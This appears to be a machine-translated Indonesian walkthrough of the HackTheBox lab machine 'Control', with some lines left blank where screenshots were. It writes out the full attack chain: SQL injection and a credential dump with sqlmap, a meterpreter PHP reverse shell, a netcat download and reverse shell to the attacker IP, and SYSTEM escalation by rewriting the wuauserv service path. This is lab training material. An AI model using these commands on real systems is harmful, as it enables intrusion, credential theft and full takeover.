Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .Pada artikel ini, kami menembus sistem melalui injeksi SQL, menyelidiki sejarah baris perintah dan meningkatkan hak istimewa kami berkat hak atas layanan.Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kantor atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Informasi Organisasi, ,
Telegram . , ,
.
. , - , .
Recon
Mesin ini memiliki alamat IP 10.10.10.167, yang saya tambahkan ke / etc / hosts.10.10.10.167 control.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A control.htb -p80,135,3306,49667,49666
Tuan rumah menjalankan server web. Mari kita lihat apa yang ada di sana.
Dan kami melihat bahwa ada tautan ke panel admin. Tetapi kami diberitahu bahwa tidak ada tajuk dan kami harus menghubungi melalui proxy.
Pada saat yang sama, dalam kode sumber halaman awal kami menemukan pesan:
Membandingkan apa yang Anda butuhkan untuk menggunakan proxy dan alamat yang ditemukan, kami menganggap bahwa Anda harus menjalaninya. Proxy ditampilkan dalam protokol HTTP di header x-forwarded-for. Mari kita buka.
Dan kami berhasil masuk ke halaman admin. Mari kita pergi melalui browser.
Tetapi ketika Anda mencoba melakukan sesuatu, mereka akan melemparkan kami pada halaman dengan pesan proxy. Ini karena kami tidak mengganti header yang ditemukan. Agar tidak melakukan ini setiap kali di Burp Suite di Proxy -> Options tab kita menemukan fungsi "Cocokkan dan Ganti".
Dan tambahkan entri baru yang secara otomatis akan menambahkan header ini ke semua permintaan keluar.
Dan menguji bidang pencarian kami menemukan injeksi SQL.
Untuk operasi kami menggunakan sqlmap. Mari kita simpan permintaan ini ke file (Salin ke file) dan jalankan sqlmap, dengan meneruskan file ini sebagai parameter.sqlmap -r headers.req
Entry PointMari kita lihat database apa yang tersedia.sqlmap -r headers.req --dbs
Mari cari tahu kredensial apa yang tersedia. Mari kita lihat semua tabel di database mysql.sqlmap -r headers.req -D mysql --tables
Jadi kami tertarik dengan tabel pengguna. Mari kita cari nama semua kolom.sqlmap -r headers.req -D mysql -T user --columns
Dari semua kolom, yang paling menarik adalah Pengguna dan Kata Sandi. Kami belajar apa yang ada di dalamnya.sqlmap -r headers.req -D mysql -T user -C User,Password --dump
Basis data berisi beberapa pengguna. Sqlmap menawarkan untuk memecahkan hash. Kami memilih serangan kamus, menunjukkan bahwa kami ingin menggunakan kamus kami dan menulis path ke rockyou.
Setelah beberapa detik, kami akan diberikan tabel dengan nama pengguna dan hash kata sandi mereka. Jika sqlmap dapat memecahkan kata sandi, itu akan menunjukkannya di sebelah hash dalam tanda kurung. Seperti yang Anda lihat, kami memiliki kredensial hector pengguna.
Saya tidak bisa mendapatkan shell menggunakan sqlmap, tetapi menulis file keluar. Ayo posting web berjalan. Pertama, kami menghasilkan beban meterpreter dalam format PHP.msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Sekarang tulis menggunakan sqlmap ke direktori server web.sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
File berhasil ditulis. Jalankan pendengar.
Dan buka file Anda di server web.curl http://control.htb/r.php
Di jendela Metasploit, kami mengamati koneksi yang berhasil.
Pergi ke sesi ini.
Tapi di sini masalahnya, kita tidak bisa menjalankan perintah melalui shell. Mari kita coba untuk memotong kunci dengan membuat proses PowerShell dalam mode interaktif (-i) tersembunyi dari tampilan (-H) dengan meneruskan perintah kita sebagai parameter (-a). Mari cari tahu di bawah pengguna mana kami bekerja.
PENGGUNA
Kami memiliki kredensial Hector, kami akan mencari tahu apakah ada pengguna seperti itu dalam sistem.
Ada pengguna seperti itu! Tapi pertama-tama, cari tahu nama mobilnya.
Kami memiliki nama pengguna, kata sandi, domain dan nama mesin. Sekarang mari kita periksa apakah kredensial yang kami terima sesuai. Untuk melakukan ini, jalankan "whoami" atas nama Hector.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
Baik. Ayo ambil cangkangnya. Jalankan server web pada host lokal.python3 -m http.server 80
Dan unggah ke host Netcat jarak jauh.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
Sekarang buka port 5432. nc -lvp 5432 dan lakukan koneksi balik dari host jarak jauh.execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
Jadi kami mengambil pengguna.
AKAR
Lebih jauh, ketika kami mencoba mengunggah salah satu cara mengumpulkan informasi dari host ke host (seperti BloodHound , PowerUp , JAWS , WinPEAS ), kami melihat bahwa bek menghapusnya. Tetapi WinPEAS memiliki versi kelelawar yang tidak dapat dihapus. Kami mengunggahnya ke host dan menjalankannya. Selanjutnya hanya perlu meninjau informasi yang dikumpulkan dengan hati-hati. Dan kami menemukan file yang menarik ConsoleHost_history.txt.
Lihat apa isinya.
Tim-tim ini adalah satu-satunya yang kami miliki. Cmdlet Get-Acl mengambil objek yang mewakili deskriptor keamanan untuk file atau sumber daya. Deskriptor keamanan berisi daftar kontrol akses sumber daya (ACL). ACL berisi izin yang diperlukan oleh pengguna dan grup pengguna untuk mengakses sumber daya. Jadi, saya memutuskan bahwa jalur solusi terletak pada layanan dan akses ke sana. Mari kita serahkan semua layanan dan izin Hector kepada mereka.get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
Melihat melalui output, kami melihat bahwa Hector memiliki hak penuh untuk layanan pembaruan Windows - wuauserv.
Layanan dalam sistem operasi Windows dijalankan dengan hak istimewa Sistem. Saat mendaftarkan layanan di sistem, jalur ke file yang dapat dieksekusi layanan dilindungi dalam atribut ImagePath. Mari kita ubah nilai atribut ini dan muatkan shell.reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
Sekarang mulai layanan pembaruan.start-service wuauserv
Dan kami mendapatkan shell dengan hak istimewa maksimal.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.